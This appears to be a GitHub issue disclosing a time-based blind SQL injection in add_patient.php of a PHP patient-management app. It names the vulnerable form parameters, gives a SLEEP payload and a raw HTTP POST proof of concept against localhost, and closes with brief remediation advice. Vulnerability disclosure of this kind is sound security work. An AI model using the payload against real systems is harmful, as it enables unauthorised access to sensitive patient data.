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SQL Injection vulnerability via multiple parameters in add_patient.php #4

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khanhchauminh opened this issue Nov 8, 2021 · 0 comments

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@khanhchauminh
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Author

KhanhCM (@khanhchauminh)

Version: 1.0

Vulnerable parameters

  • apfullname
  • apphone_no
  • apaddress
  • apSpecialist
  • apCondition

Steps to reproduce

  1. Login to your patient account
  2. On the next patient page, enter personal information into the form
  3. Click on the Submit button
  4. Intercept the request and insert the payload in the value of parameters.
  5. Forward the request

Example payload:

' AND (SELECT 1 FROM (SELECT(SLEEP(10)))a) AND 'a'='a

Proof-of-concept

POST /add_patient.php HTTP/1.1
Host: 127.0.0.1:8888
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1:8888
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://127.0.0.1:8888/add_patient.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=fm1clgb18smbtthd68i37dsdrn
Connection: close

apfullname=test'%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(10)))a)%20AND%20'a'%3d'a&apAge=12&apweight=45&apphone_no=123&apaddress=test&apSpecialist=Audiologist&apCondition=test

Response in Burpsuite

image

Source code review

add_patient.php

image

library.php

image
image

Remediation

Validate input of all vulnerable parameters in add_patient.php.

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